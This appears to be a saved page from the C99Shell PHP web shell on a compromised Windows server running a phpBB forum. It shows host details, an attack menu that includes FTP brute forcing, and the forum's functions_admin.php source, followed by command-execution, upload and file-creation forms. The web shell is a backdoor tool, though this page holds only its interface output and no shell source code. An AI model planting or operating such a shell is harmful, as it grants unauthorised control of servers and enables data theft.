!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\phpbb\includes\   drwxrwxrwx
Free 4.1 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions_admin.php (4.65 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/***************************************************************************
 *                            functions_admin.php
 *                            -------------------
 *   begin                : Saturday, Feb 13, 2001
 *   copyright            : (C) 2001 The phpBB Group
 *   email                : support@phpbb.com
 *
 *   $Id: functions_admin.php,v 1.1 2005/02/28 18:24:08 acydburn Exp $
 *
 *
 ***************************************************************************/

/***************************************************************************
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 *
 ***************************************************************************/

//
// Simple version of jumpbox, just lists authed forums
//
function make_forum_select($box_name$ignore_forum false$select_forum '')
{
    global 
$db$userdata;

    
$is_auth_ary auth(AUTH_READAUTH_LIST_ALL$userdata);

    
$sql "SELECT forum_id, forum_name
        FROM " 
FORUMS_TABLE 
        ORDER BY cat_id, forum_order"
;
    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Couldn not obtain forums information'''__LINE____FILE__$sql);
    }

    
$forum_list '';
    while( 
$row $db->sql_fetchrow($result) )
    {
        if ( 
$is_auth_ary[$row['forum_id']]['auth_read'] && $ignore_forum != $row['forum_id'] )
        {
            
$selected = ( $select_forum == $row['forum_id'] ) ? ' selected="selected"' '';
            
$forum_list .= '<option value="' $row['forum_id'] . '"' $selected .'>' $row['forum_name'] . '</option>';
        }
    }

    
$forum_list = ( $forum_list == '' ) ? '<option value="-1">-- ! No Forums ! --</option>' '<select name="' $box_name '">' $forum_list '</select>';

    return 
$forum_list;
}

//
// Synchronise functions for forums/topics
//
function sync($type$id false)
{
    global 
$db;

    switch(
$type)
    {
        case 
'all forums':
            
$sql "SELECT forum_id
                FROM " 
FORUMS_TABLE;
            if ( !(
$result $db->sql_query($sql)) )
            {
                
message_die(GENERAL_ERROR'Could not get forum IDs'''__LINE____FILE__$sql);
            }

            while( 
$row $db->sql_fetchrow($result) )
            {
                
sync('forum'$row['forum_id']);
            }
               break;

        case 
'all topics':
            
$sql "SELECT topic_id
                FROM " 
TOPICS_TABLE;
            if ( !(
$result $db->sql_query($sql)) )
            {
                
message_die(GENERAL_ERROR'Could not get topic ID'''__LINE____FILE__$sql);
            }

            while( 
$row $db->sql_fetchrow($result) )
            {
                
sync('topic'$row['topic_id']);
            }
            break;

          case 
'forum':
            
$sql "SELECT MAX(post_id) AS last_post, COUNT(post_id) AS total 
                FROM " 
POSTS_TABLE "  
                WHERE forum_id = 
$id";
            if ( !(
$result $db->sql_query($sql)) )
            {
                
message_die(GENERAL_ERROR'Could not get post ID'''__LINE____FILE__$sql);
            }

            if ( 
$row $db->sql_fetchrow($result) )
            {
                
$last_post = ( $row['last_post'] ) ? $row['last_post'] : 0;
                
$total_posts = ($row['total']) ? $row['total'] : 0;
            }
            else
            {
                
$last_post 0;
                
$total_posts 0;
            }

            
$sql "SELECT COUNT(topic_id) AS total
                FROM " 
TOPICS_TABLE "
                WHERE forum_id = 
$id";
            if ( !(
$result $db->sql_query($sql)) )
            {
                
message_die(GENERAL_ERROR'Could not get topic count'''__LINE____FILE__$sql);
            }

            
$total_topics = ( $row $db->sql_fetchrow($result) ) ? ( ( $row['total'] ) ? $row['total'] : ) : 0;

            
$sql "UPDATE " FORUMS_TABLE "
                SET forum_last_post_id = 
$last_post, forum_posts = $total_posts, forum_topics = $total_topics
                WHERE forum_id = 
$id";
            if ( !
$db->sql_query($sql) )
            {
                
message_die(GENERAL_ERROR'Could not update forum'''__LINE____FILE__$sql);
            }
            break;

        case 
'topic':
            
$sql "SELECT MAX(post_id) AS last_post, MIN(post_id) AS first_post, COUNT(post_id) AS total_posts
                FROM " 
POSTS_TABLE "
                WHERE topic_id = 
$id";
            if ( !(
$result $db->sql_query($sql)) )
            {
                
message_die(GENERAL_ERROR'Could not get post ID'''__LINE____FILE__$sql);
            }

            if ( 
$row $db->sql_fetchrow($result) )
            {
                
$sql = ( $row['total_posts'] ) ? "UPDATE " TOPICS_TABLE " SET topic_replies = " . ( $row['total_posts'] - ) . ", topic_first_post_id = " $row['first_post'] . ", topic_last_post_id = " $row['last_post'] . " WHERE topic_id = $id"DELETE FROM " TOPICS_TABLE " WHERE topic_id = $id";
                if ( !
$db->sql_query($sql) )
                {
                    
message_die(GENERAL_ERROR'Could not update topic'''__LINE____FILE__$sql);
                }
            }
            
attachment_sync_topic($id);
            break;
    }
    
    return 
true;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--